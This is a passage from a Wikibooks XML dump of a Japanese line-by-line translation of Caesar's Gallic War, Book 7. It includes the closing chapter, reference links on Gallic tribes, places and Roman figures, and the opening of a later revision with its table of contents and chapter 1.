*quae imperaret, se facturos pollicentur. 
**自分たちは（カエサルが）命令したことを行なうであろう、と約束した。
*Imperat magnum numerum obsidum. 
**（カエサルは）多数の人質（の供出）を命令した。
*③　Legiones in hiberna mittit. 
**（カエサルは）諸[[w:ローマ軍団|軍団]]を冬営地に派遣した。
*Captivorum circiter XX(viginti) milia Haeduis Arvernisque reddit. 
**捕虜たち約2万人をハエドゥイー族とアルウェルニー族に返還した。
*④　[[w:la:Titus Labienus|T.&lt;small&gt;(Titum)&lt;/small&gt; Labienum]] duabus cum&lt;ref&gt;duabus cum はχ系･B･M･S写本の記述で、L･N･β系写本では cum duabus となっている。&lt;/ref&gt; legionibus et equitatu in Sequanos proficisci iubet; 
**[[w:ティトゥス・ラビエヌス|ティトゥス・ラビエーヌス]]を2個軍団および[[w:騎兵|騎兵隊]]とともにセクアニ族のところに出発することを命じた。
*huic M.&lt;small&gt;(Marcum)&lt;/small&gt; Sempronium Rutilum attribuit. 
**彼には、マルクス・[[w:センプロニウス氏族|センプロニウス]]・ルティルスを付属させた。
*⑤　C.&lt;small&gt;(Gaium)&lt;/small&gt; Fabium legatum et L.&lt;small&gt;(Lucium)&lt;/small&gt; Minucium Basilum cum legionibus duabus in Remis conlocat, 
**副官 ガーイウス・ファビウスとルキウス・ミヌキウス・バスィルスを2個軍団とともにレーミー族のところに配置した。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：バスィルスは[[ガリア戦記 第6巻#29節|第6巻29節]]で騎兵隊を指揮した。）&lt;/span&gt;
*ne quam ab&lt;ref&gt;ab はφ系写本の記述で、χ系･β系写本では a となっている。&lt;/ref&gt; finitimis Bellovacis calamitatem accipiant. 
**（レーミー族が）近隣のベッロウァキ族から何らかの災禍を蒙らないようにしたのである。
*⑥　C.&lt;small&gt;(Gaium)&lt;/small&gt; Antistium Reginum in Ambivaretos, 
**ガーイウス・アンティスティウス・レーギーヌスをアンビウァレティ族のところに、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：''[[w:fr:Caius Antistius Reginus|Gaius Antistius Reginus]]'' は[[ガリア戦記_第6巻#1節|第6巻1節]]、[[#83節|本巻83節]]で既出。）&lt;/span&gt;
*T.&lt;small&gt;(Titum)&lt;/small&gt; Sextium in Bituriges, 
**ティトゥス・セクスティウスをビトゥリゲース族のところに、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[w:en:Titus Sextius|Titus Sextius]] も[[ガリア戦記_第6巻#1節|第6巻1節]]で既出。第6巻の年からカエサルの副官、&lt;br&gt;　　　　　[[w:三頭政治#第二回三頭政治|第二回三頭政治]]では[[w:アフリカ属州|アフリカ属州]]の総督を務め、[[w:マルクス・アエミリウス・レピドゥス|レピドゥス]]に引き継ぐ。）
*C.&lt;small&gt;(Gaium)&lt;/small&gt; Caninium Rebilum in Rutenos cum singulis legionibus mittit. 
**ガーイウス・カニニウス・レビルスをルテーニー族のところに、それぞれ1個軍団とともに派遣した。
*⑦　[[w:la:Quintus Tullius Cicero|Q.&lt;small&gt;(Quintum)&lt;/small&gt; Tullium Ciceronem]] et P.&lt;small&gt;(Publium)&lt;/small&gt; Sulpicium 
**[[w:クィントゥス・トゥッリウス・キケロ|クィーントゥス・トゥッリウス・キケロー]]とプーブリウス・スルピキウス（・ルーフス）を
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：カエサルの副官 ''[[w:en:Sulpicia_gens#Sulpicii_Rufi|Publius Sulpicius Rufus]] は、&lt;br&gt;　　　　[[ガリア戦記_第4巻#22節|第4巻22節]]で既述。[[内乱記_第1巻#74節|『内乱記』第1巻74節]]でも言及される。&lt;br&gt;　　　　[[w:紀元前48年|BC48年]]に[[w:プラエトル|法務官]]、[[w:紀元前42年|BC42年]]に[[w:ケンソル|監察官]]に任官する。）&lt;/span&gt;
*[[w:la:Cabillonum|Cavilloni]]&lt;ref&gt;Cavilloni はβ系写本の記述で、α系写本などでは Cabilloni となっている。&lt;/ref&gt; et [[w:la:Matisco|Matiscone]] in Haeduis ad Ararim rei frumentariae causa conlocat. 
**ハエドゥイー族のところのアラル川沿いのカウィッロヌムとマティスコに、糧秣調達のために配置した。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：カウィッロヌムは現在の[[w:シャロン＝スュル＝ソーヌ|シャロン＝スュル＝ソーヌ]]、マティスコは現在の[[w:マコン|マコン]]。）&lt;/span&gt;
*Ipse [[w:la:Bibracte|Bibracte]] hiemare constituit. 
**（カエサル）自身は、[[w:ビブラクテ|ビブラクテ]]で冬営することを決めた。
*⑧　His litteris&lt;ref&gt;his litteris「これらが書簡により（知られると）」はα系写本の記述で、β系写本では huius anni rebus「この年の事績が（知られると）」と異なっており、huius anni rebus &lt;ex Caesaris&gt; litteris「この年の事績が＜カエサルの＞書簡により（知られると）」 などと修正提案されている。」&lt;/ref&gt; cognitis Romae dierum viginti supplicatio redditur.
**これらが（カエサルの）書簡により知られると、ローマで20日間の感謝祭が許された。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[ガリア戦記 第2巻#35節|第2巻35節]]では、かつてない15日間の感謝祭が決議されたが、今回はそれを超えるものであった。）&lt;/span&gt;
----
*&lt;span style=&quot;background-color:#99ff99;&quot;&gt;「ガリア戦記 第7巻」了。「[[ガリア戦記 第8巻]]」へ続く。&lt;/span&gt;

==脚注==
&lt;references /&gt;
==参考リンク==
'''ウィキペディア英語版など'''
*'''[[w:en:Category:Tribes of ancient Gaul|Category:Tribes of ancient Gaul]]'''（'''[[w:Category:ガリアの部族|Category:ガリアの部族]]'''）- [[w:fr:Catégorie:Personnalité gauloise|fr:Catégorie:Personnalité gauloise]]
**[[w:en:Allobroges|Allobroges]]（アッロブロゲス族）
**'''[[w:en:Arverni|Arverni]]'''（'''[[w:アルウェルニ族|アルウェルニー族]]'''）
**:'''[[w:en:Vercingetorix|Vercingetorix]]'''（'''[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]'''）- '''&lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Vercingetorix|la:Vercingetorix]]&lt;/span&gt;'''
**:[[w:fr:Celtillos|fr:Celtillos]]（ケルティッルス）；ウェルキンゲトリークスの父
**:[[w:fr:Gobannitio|fr:Gobannitio]]（ゴバンニティオ）；ウェルキンゲトリークスのおじ
**:[[w:en:Vercassivellaunos|Vercassivellaunos]]（ウェルカッスィウェッラウヌス） - &lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Vercassivellaunus|la:Vercassivellaunus]]&lt;/span&gt;
**:Critognatus（クリトグナトゥス）- &lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Critognatus|la:Critognatus]]&lt;/span&gt;
**[[w:en:Atrebates|Atrebates]]（アトレバテス族）
**:[[w:en:Commius|Commius]]（[[w:コンミウス|コンミウス]]）：ガッリアとブリタンニアにおけるアトレバテス族の王
**[[w:en:Aedui|Aedui]]（[[w:ハエドゥイ族|ハエドゥイー族]]）- '''&lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Haedui|la:Haedui]]&lt;/span&gt;'''；ガッリア中部の有力部族 - [[w:fr:Éduens|fr:Éduens]] ＜[[w:fr:Catégorie:Éduens|fr:Catégorie:Éduens]]
**:[[w:en:Convictolitavis|Convictolitavis]]（コンウィクトリタウィス）- [[w:fr:Convictolitavis|fr:Convictolitavis]]
**:[[w:fr:Cotos|fr:Cotos]]（コトゥス）
**:[[w:fr:Litaviccos|fr:Litaviccos]]（リタウィックス）
**:エポレドリクス - &lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Eporedorix|la:Eporedorix]]&lt;/span&gt;
**:ウィリドマルス
**[[w:en:Andes (Andecavi)|Andes (Andecavi)]]（アンデス族）；現在の[[w:アンジェ|アンジェ]]（Angers）周辺の部族
**[[w:en:Aulerci|Aulerci]]（アウレルキ族）；現在のフランス北西部に居住していた部族連合
**[[w:en:Bellovaci|Bellovaci]]（ベッロウァキ族）
**[[w:en:Bituriges|Bituriges]]（ビトゥリゲース族）；現在の[[w:ブールジュ|ブールジュ]]（Bourges）周辺の部族。[[#5節|5節]]でガッリア同盟軍に寝返る。
**[[w:en:Boii|Boii]]（ボイイ族）- &lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Boii|la:Boii]]&lt;/span&gt;；[[w:ボヘミア|ボヘミア]]（[[w:la:Bohemia|la:Bohemia]]）から移住してきた部族
**Cadurci（カドゥルキー族）；現在の[[w:カオール|カオール]]（Cahors）周辺の部族 - [[w:fr:Cadurques|fr:Cadurques]]
**:[[w:en:Lucterius|Lucterius]]（ルクテリウス）；カドゥルキー族の指導者、[[#5節|5節]]を参照。
**[[w:en:Carnutes|Carnutes]]（カルヌーテース族）；現在の[[w:シャルトル|シャルトル]]（Chartres）周辺の部族
**[[w:en:Gabali|Gabali]]（ガバリ族）
**Haedui ⇒ Aedui
**[[w:en:Helvii|Helvii]]（ヘルウィイ族）；ガッリア南部にいたローマの同盟部族
**[[w:en:Lemovices|Lemovices]]（レモウィケス族）；現在の[[w:リモージュ|リモージュ]]（Limoges）周辺の部族
**:[[w:en:Sedullos|Sedullos]]（セドゥッルス　Sedullus）；レモウィケス族の将帥・領袖
**[[w:en:Lingones|Lingones]]（リンゴネス族）- [[w:fr:Lingons|fr:Lingons]]；現在のラングル（[[w:en:Langres|Langres]]）周辺の部族
**[[w:en:Mandubii|Mandubii]]（マンドゥビイ族）；[[w:アレシア|アレスィア]]周辺にいた部族
**Nitiobroges（ニティオブロゲス族）- [[w:fr:Nitiobroges|fr:Nitiobroges]]
**:[[w:fr:Ollovico|fr:Ollovico]]（オッロウィコ）；ローマ元老院から友人と呼ばれた王
**:[[w:fr:Teutomatos|fr:Teutomatos]]（テウトマトゥス）；王で、オッロウィコの子
**[[w:en:Parisii (Gaul)|Parisii (Gaul)]]（[[w:パリシイ族|パリスィイ族]]）；現在の[[w:パリ|パリ]]周辺の部族
**[[w:en:Pictones|Pictones]]（ピクトネス族）；現在の[[w:ポワチエ|ポワティエ]]（Poitiers）周辺の部族
**[[w:en:Remi|Remi]]（レーミー族）
**[[w:en:Ruteni|Ruteni]]（ルテーニー族）
**[[w:en:Segusiavi|Segusiavi]]（セグスィアウィ族）
**[[w:en:Senones|Senones]]（セノネース族）- &lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Senones|la:Senones]]&lt;/span&gt;；現在の[[w:サン (ヨンヌ県)|サン]]（Sens）周辺の部族
***[[w:en:Acco|Acco]]（アッコー）
**[[w:en:Sequani|Sequani]]（セクアニ族）
**[[w:en:Treveri|Treveri]]（トレウェリ族）
**[[w:en:Turones|Turones]]（トゥロニ族／トゥロネス族）；現在の[[w:トゥール (アンドル＝エ＝ロワール県)|トゥール]]（Tours）周辺の部族
**[[w:en:Volcae|Volcae]]（ウォルカエ族）
*&lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Germani|la:Germani]]&lt;/span&gt;（ゲルマニア人）


*'''ガッリアの地名''' - '''[[w:la:Categoria:Urbes Franciae|la:Categoria:Urbes Franciae]]'''（フランスの都市）
**&lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Agedincum|la:Agedincum]]&lt;/span&gt;（アゲディンクム）；現在の[[w:サンス|サンス]]（[[w:en:Sens|Sens]]）
**[[w:en:Alesia_(city)|Alesia (city)]]（[[w:アレシア|アレスィア]]）- &lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Alesia|la:Alesia]]&lt;/span&gt;：現在のアリーズ＝サント＝レーヌ（[[w:fr:Alise-Sainte-Reine|fr:Alise-Sainte-Reine]]）
**:'''[[w:en:Battle_of_Alesia|Battle of Alesia]]'''（'''[[w:アレシアの戦い|アレスィアの戦い]]'''）- '''&lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Alesiae_pugna|la:Alesiae pugna]]&lt;/span&gt;'''
**[[w:en:Avaricum|Avaricum]] ⇒ [[w:en:Bourges|Bourges]]（アウァーリクム - 現在の[[w:ブールジュ|ブールジュ]]）- &lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Avaricum_Biturigum|la:Avaricum Biturigum]]&lt;/span&gt;
**[[w:en:Bibracte|Bibracte]]（[[w:ビブラクテ|ビブラクテ]]） - &lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Bibracte|la:Bibracte]]&lt;/span&gt;：[[w:ハエドゥイ族|ハエドゥイー族]]の首邑。現在のボーヴレ山（[[w:fr:Mont_Beuvray|fr:Mont Beuvray]]）の山頂に位置していた。
**&lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Cabillonum|la:Cabillonum]]&lt;/span&gt;（カビッロヌム／カウィッロヌム）- 現在の[[w:シャロン＝スュル＝ソーヌ|シャロン＝スュル＝ソーヌ]]（[[w:fr:Chalon-sur-Saône|fr:Chalon-sur-Saône]]）
**[[w:en:Cenabum|Cenabum]]（ケナブム）- 現在の[[w:オルレアン|オルレアン]] - [[w:fr:Cenabum|fr:Cenabum]]
**&lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Decetia|la:Decetia]]&lt;/span&gt;（デケティア）- [[w:en:Decize|en:Decize]] - 現在のドスィーズ（ドシーズ）（[[w:fr:Decize|fr:Decize]]）
**[[w:en:Gergovie|Gergovie]]（ゲルゴウィア）- &lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Gergovia|la:Gergovia]]&lt;/span&gt;
**:'''[[w:en:Battle of Gergovia|Battle of Gergovia]]'''（'''[[w:ゲルゴウィアの戦い|ゲルゴウィアの戦い]]'''）- '''&lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Obsidio Gergoviensis|la:Obsidio Gergoviensis]]&lt;/span&gt;'''
**[[w:en:Gorgobina|Gorgobina]]（ゴルゴビナ）；ボイイ族が定住した城塞都市。現在のサン＝パリズ＝ル＝シャテル（[[w:en:Saint-Parize-le-Châtel|Saint-Parize-le-Châtel]]）またはラ・ゲルシュ（[[w:en:La Guerche|La Guerche]]）
**'''[[w:en:Lutetia|Lutetia]]'''（'''[[w:ルテティア|ルテティア]]'''／ルテキア）；[[w:パリシイ族|パリスィイ族]]の首邑、現在の[[w:パリ|パリ市]] - &lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Lutetia|la:Lutetia]]&lt;/span&gt;
**&lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Matisco|la:Matisco]]&lt;/span&gt;（マティスコ）；現在の[[w:マコン|マコン]]（Mâcon）
**Metlosenum（メトロセドゥム／メティオセドゥム／メロドゥーヌム）；現在の[[w:ムラン|ムラン]] - &lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Melodunum|la:Melodunum]]&lt;/span&gt;
**[[w:en:Narbonne|Narbonne]]（[[w:ナルボンヌ|ナルボンヌ]]；ラテン名ナルボ）- &lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Narbo|la:Narbo]]&lt;/span&gt;；ガッリア南部・地中海岸のローマの拠点
**[[w:en:Noviodunum|Noviodunum]]（ノウィオドゥーヌム）- 現在のヌン＝スュル＝ブーヴロン（[[w:en:Neung-sur-Beuvron|Neung-sur-Beuvron]]）と推定されている。従来はローヌ川沿いの[[w:サンセール|サンセール]]（[[w:en:Sancerre|Sancerre]]）が有力だった
**[[w:en:Vellaunodunum|Vellaunodunum]]（ウェッラウノドゥーヌム）- [[w:fr:Vellaunodunum|fr:Vellaunodunum]]；現在のモンタルジ（[[w:en:Montargis|Montargis]]）やボーヌ＝ラ＝ロランド（[[w:en:Beaune-la-Rolande|Beaune-la-Rolande]]）、シャトー＝ランドン（[[w:en:Château-Landon|Château-Landon]]）などと推定されている
**[[w:en:Vienne, Isère|Vienne, Isère]]（ヴィエンヌ；ラテン名ウィエンナ）- [[w:la:Vienna|la:Vienna]]
*'''ガッリアの地形'''
**Cevenna（ケウェンナ山地）：現在のセヴェンヌ山地（[[w:fr:Cévennes|fr:Cévennes]]・[[w:en:Cévennes|Cévennes]]）
**&lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Elaver|la:Elaver]]&lt;/span&gt;（エラウェル川）：現在の[[w:アリエ川|アリエ川]]（[[w:fr:Allier (rivière)|fr:Allier (rivière)]]）
**&lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Liger|la:Liger]]&lt;/span&gt;（リゲル川）：現在の[[w:ロワール川|ロワール川]]（[[w:fr:Loire (fleuve)|fr:Loire (fleuve)]]）
**&lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Rhenus|la:Rhenus]]&lt;/span&gt;（レヌス川）：現在の[[w:ライン川|ライン川]]（[[w:fr:Rhin|fr:Rhin]]）
**&lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Rhodanus|la:Rhodanus]]&lt;/span&gt;（ロダヌス川）：現在の[[w:ローヌ川|ローヌ川]]（[[w:fr:Rhône|fr:Rhône]]）
**&lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Sequana|la:Sequana]]&lt;/span&gt;（セクアナ川）：現在の[[w:セーヌ川|セーヌ川]]（[[w:fr:Seine|fr:Seine]]）

*ローマ勢
**[[w:en:Mark_Antony|Mark Antony]]（[[w:マルクス・アントニウス|マルクス・'''アントニウス''']]）- &lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Marcus_Antonius|la:Marcus Antonius]]&lt;/span&gt;
**[[w:en:Decimus_Junius_Brutus_Albinus|Decimus Junius '''Brutus''' Albinus]]（[[w:デキムス・ユニウス・ブルトゥス・アルビヌス|デキムス・ユニウス・'''ブルトゥス'''・アルビヌス]]）- &lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Decimus_Iunius_Brutus_Albinus|Decimus Iunius Brutus Albinus]]&lt;/span&gt;（[[#9節|9節]]）
**[[w:en:Quintus Tullius Cicero|Quintus Tullius '''Cicero''']]（[[w:クィントゥス・トゥッリウス・キケロ|クィントゥス・トゥッリウス・'''キケロ''']]）- &lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Quintus Tullius Cicero|la:Quintus Tullius Cicero]]&lt;/span&gt;：カエサルの副官
**Gaius '''Fabius'''（ガイウス・'''ファビウス'''）：カエサルの副官
**[[w:en:Titus Labienus|Titus '''Labienus''']]（[[w:ティトゥス・ラビエヌス|ティトゥス・'''ラビエーヌス''']]）- &lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Titus Labienus|la:Titus Labienus]]&lt;/span&gt;：カエサルの副官
**[[w:en:Trebonius|'''Trebonius''']]（[[w:ガイウス・トレボニウス|ガイウス・'''トレボニウス''']]）- &lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Gaius_Trebonius|la:Gaius Trebonius]]&lt;/span&gt;：カエサルの副官
**[[w:en:Lucius Julius Caesar IV|Lucius Julius '''Caesar''' IV]]（ルキウス・ユリウス・'''カエサル'''4世）：総督カエサルの副官で、4代前の高祖父を共有する。BC64年に執政官を務めた。

*イタリア方面
**[[w:en:Cisalpine_Gaul|Cisalpine Gaul]]（[[w:ガリア・キサルピナ|ガッリア・キサルピーナ]]） - [[w:la:Gallia Cisalpina|la:Gallia Cisalpina]]
**[[w:en:Populares|Populares]]（[[w:ポプラレス|ポプラレス]]；民衆派）- [[w:la:Populares|la:Populares]]
**:[[w:en:Publius_Clodius_Pulcher|Publius Clodius Pulcher]]（[[w:プブリウス・クロディウス・プルケル|プブリウス・クロディウス・プルケル]]） - [[w:la:Publius_Clodius_Pulcher|la:Publius Clodius Pulcher]]
**[[w:en:Optimates|Optimates]]（[[w:オプティマテス|オプティマテス]]；元老院派）
**:[[w:en:Cicero|Cicero]]（[[w:マルクス・トゥッリウス・キケロ|マルクス・トゥッリウス・キケロ]]）- [[w:la:Marcus_Tullius_Cicero|la:Marcus Tullius Cicero]]
**:[[w:en:Titus_Annius_Milo|Titus Annius Milo]]（ティトゥス・アンニウス・ミロ）- [[w:la:Titus_Annius_Milo|la:Titus Annius Milo]]
**:[[w:en:Pompey|Pompey]]（[[w:グナエウス・ポンペイウス|グナエウス・ポンペイウス]]）- [[w:la:Gnaeus_Pompeius_Magnus|la:Gnaeus Pompeius Magnus]]</text>
      <sha1>ptyny63v2abariti2nbohi48qejx7i0</sha1>
    </revision>
    <revision>
      <id>305268</id>
      <parentid>305263</parentid>
      <timestamp>2026-11-01T09:12:12Z</timestamp>
      <contributor>
        <username>Linguae</username>
        <id>449</id>
      </contributor>
      <minor />
      <comment>/* 36節 */ 修整</comment>
      <origin>305268</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="562882" sha1="ot6zdqqzj3gkwx93kbbn4a9n6mprzgm" xml:space="preserve">[[Category:ガリア戦記|7]] [[Category:ガリア戦記 第7巻|*]]
[[ガリア戦記]]＞&amp;nbsp;'''第7巻'''&amp;nbsp;＞[[ガリア戦記 第7巻/注解|注解]]
&lt;div style=&quot;text-align:center&quot;&gt;
&lt;span style=&quot;font-size:20px; font-weight:bold; font-variant-caps: petite-caps; color:white; background: rgb(47,94,255);background: linear-gradient(180deg, rgba(47,94,255,1) 0%, rgba(24,56,255,1) 50%, rgba(0,8,255,1) 100%);&quot;&gt;&amp;nbsp;C&amp;nbsp;IVLII&amp;nbsp;CAESARIS&amp;nbsp;COMMENTARIORVM&amp;nbsp;BELLI&amp;nbsp;GALLICI&amp;nbsp;&lt;/span&gt;

&lt;span style=&quot;font-size:40px; font-weight:bold; color:white; background: rgb(47,94,255);background: linear-gradient(180deg, rgba(47,94,255,1) 0%, rgba(24,56,255,1) 50%, rgba(0,8,255,1) 100%);&quot;&gt;&amp;nbsp;LIBER SEPTIMVS&amp;nbsp;&lt;/span&gt;
&lt;/div&gt;
[[画像:Gaule -52.png|thumb|right|150px|ガリア戦記 第7巻の情勢図（BC52年）。&lt;br&gt;黄色の領域がローマ領。桃色が同盟部族領。]]

{| id=&quot;toc&quot; style=&quot;align:left;clear:all;&quot; align=&quot;left&quot; cellpadding=&quot;5&quot;
! style=&quot;background:#ccccff; text-align:left;&quot; colspan=&quot;2&quot; | ガリア戦記 第7巻 目次
|-
| style=&quot;text-align:right; font-size: 0.86em;&quot;|
'''[[#カルヌーテース族の蜂起|カルヌーテース族の蜂起]]''':&lt;br /&gt;
'''[[#ウェルキンゲトリークスとガッリア同盟軍の蜂起|ウェルキンゲトリークスとガッリア同盟軍の蜂起]]''':&lt;br /&gt;
&lt;br /&gt;
'''[[#アウァーリクム攻略戦|アウァーリクム攻略戦]]''':&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''[[#ゲルゴウィア攻略戦、ハエドゥイー族の離反|ゲルゴウィア攻略戦、ハエドゥイー族の離反]]''':&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''[[#ラビエーヌスのルテティア遠征|ラビエーヌスのルテティア遠征]]''':&lt;br /&gt;
'''[[#ガッリア戦乱の拡大|ガッリア戦乱の拡大]]''':&lt;br /&gt;
'''[[#アレスィア攻囲戦|アレスィア攻囲戦]]''':&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''[[#ガッリア同盟軍主力の降伏|ガッリア同盟軍主力の降伏]]''':&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
| style=&quot;text-align:left; font-size: 0.86em;&quot;| 
[[#1節|01節]] |
[[#2節|02節]] |
[[#3節|03節]] &lt;br /&gt;
[[#4節|04節]] |
[[#5節|05節]] |
[[#6節|06節]] |
[[#7節|07節]] |
[[#8節|08節]] |
[[#9節|09節]] |
[[#10節|10節]] &lt;br /&gt;
[[#11節|11節]] |
[[#12節|12節]] |
[[#13節|13節]] &lt;br /&gt;
[[#14節|14節]] |
[[#15節|15節]] |
[[#16節|16節]] |
[[#17節|17節]] |
[[#18節|18節]] |
[[#19節|19節]] |
[[#20節|20節]] &lt;br /&gt;
[[#21節|21節]] |
[[#22節|22節]] |
[[#23節|23節]] |
[[#24節|24節]] |
[[#25節|25節]] |
[[#26節|26節]] |
[[#27節|27節]] |
[[#28節|28節]] |
[[#29節|29節]] |
[[#30節|30節]] &lt;br /&gt;
[[#31節|31節]] &lt;br /&gt;
[[#32節|32節]] |
[[#33節|33節]] |
[[#34節|34節]] |
[[#35節|35節]] |
[[#36節|36節]] |
[[#37節|37節]] |
[[#38節|38節]] |
[[#39節|39節]] |
[[#40節|40節]] &lt;br /&gt;
[[#41節|41節]] |
[[#42節|42節]] |
[[#43節|43節]] |
[[#44節|44節]] |
[[#45節|45節]] |
[[#46節|46節]] |
[[#47節|47節]] |
[[#48節|48節]] |
[[#49節|49節]] |
[[#50節|50節]] &lt;br /&gt;
[[#51節|51節]] |
[[#52節|52節]] |
[[#53節|53節]] |
[[#54節|54節]] |
[[#55節|55節]] |
[[#56節|56節]] &lt;br /&gt;
[[#57節|57節]] |
[[#58節|58節]] |
[[#59節|59節]] |
[[#60節|60節]] |
[[#61節|61節]] |
[[#62節|62節]] &lt;br /&gt;
[[#63節|63節]] |
[[#64節|64節]] |
[[#65節|65節]] |
[[#66節|66節]] |
[[#67節|67節]] &lt;br /&gt;
[[#68節|68節]] |
[[#69節|69節]] |
[[#70節|70節]] &lt;br /&gt;
[[#71節|71節]] |
[[#72節|72節]] |
[[#73節|73節]] |
[[#74節|74節]] |
[[#75節|75節]] |
[[#76節|76節]] |
[[#77節|77節]] |
[[#78節|78節]] |
[[#79節|79節]] |
[[#80節|80節]] &lt;br /&gt;
[[#81節|81節]] |
[[#82節|82節]] |
[[#83節|83節]] |
[[#84節|84節]] |
[[#85節|85節]] |
[[#86節|86節]] |
[[#87節|87節]] |
[[#88節|88節]] &lt;br /&gt;
[[#89節|89節]] |
[[#90節|90節]] &lt;br /&gt;
[[#脚注|脚注]]&lt;br /&gt;
[[#参考リンク|参考リンク]]&lt;br /&gt;
|}
&lt;br style=&quot;clear:both;&quot; /&gt;
__notoc__

==カルヌーテース族の蜂起==
===1節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/1節]]　{{進捗|00%|2025-10-26}}&lt;/span&gt;
[[画像:Maccari-Cicero.jpg|thumb|right|250px|[[w:カティリナ弾劾演説|カティリーナ弾劾演説]]をする[[w:マルクス・トゥッリウス・キケロ|キケロー]](左中央)（チェザレ・マッカリによる19世紀のフレスコ画）。[[w:プブリウス・クロディウス・プルケル|クローディウス]]はこれを越権行為であるとして、カエサルの政敵となっていたキケローを一時的に亡命へ追い込み、ついにはキケローの友人ミローの配下によって殺害された。]]
[[画像:Pompei_Magnus_Antiquarium.jpg|thumb|right|250px|[[w:グナエウス・ポンペイウス|グナエウス・ポンペイウス]]の胸像。クローディウス殺害に伴う騒乱を収拾するべく、[[w:元老院|元老院]]によりポンペイウスが単独の[[w:執政官|執政官]]に選出され、首都ローマと本土イタリアを制圧した。一方、カエサルも属州で新たに徴兵して兵力を増した。元老院派はカエサルの勢力が強大になることを恐れて、カエサル自身から将兵を取り上げて召還すべきと主張したが、ポンペイウスは不和を避けて宥和を図った。]]
:　
;首都ローマの政情不安、ガッリア人領袖たちの謀計
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; [[wikt:en:quietus#Latin|Quieta]] [[wikt:en:Gallia#Latin|Gallia]], 
**[[w:ガリア|ガッリア]]が鎮定されると、
*Caesar, ut [[wikt:en:constituerat|constituerat]], 
**カエサルは、定めていたように、
*in [[wikt:en:Italia#Latin|Italiam]] ad [[wikt:en:conventus#Noun|conventus]] [[wikt:en:agendus#Latin|agendos]] [[wikt:en:proficiscitur|proficiscitur]]. 
**イタリアに、巡回裁判を行なうために出発する。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ここでいうイタリアとは、カエサルの属州であった&lt;br&gt;　　　　[[w:ガリア・キサルピナ|ガッリア・キサルピーナ]]を指す。&lt;br&gt;　　　　カエサルは、巡回裁判を除けば、おもに[[w:ラヴェンナ|ラウェンナ]]に&lt;br&gt;　　　　滞在していたと考えられる。[[内乱記_第1巻#5節|『内乱記』第1巻5節]]を参照。）&lt;/span&gt;
:　
*[[wikt:en:ibi#Latin|Ibi]] [[wikt:en:cognoscit|cognoscit]] de &amp;lt;P.&amp;gt; [[wikt:en:Clodius#Latin|Clodii]] [[wikt:en:caedes#Latin|caede]], 
**そこで[[w:プブリウス・クロディウス・プルケル|プーブリウス・クローディウス]]の殺害について知って、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：クローディウスは護民官を務めた&lt;ruby&gt;&lt;rb&gt;[[w:ポプラレス|民衆派]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ポプラレス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt; の政治家で、&lt;br&gt;　　　　カエサルから恩義を受けていた。&lt;br&gt;　　　　　かの弁論家[[w:マルクス・トゥッリウス・キケロ|キケロー]]やその友人ティトゥス・ミロー [[w:la:Titus_Annius_Milo|Milo]] ら&lt;br&gt;　　　　&lt;ruby&gt;&lt;rb&gt;[[w:オプティマテス|元老院派]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オプティマテス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt; と激しく対立し、ミローの配下によって殺害された。）&lt;/span&gt;
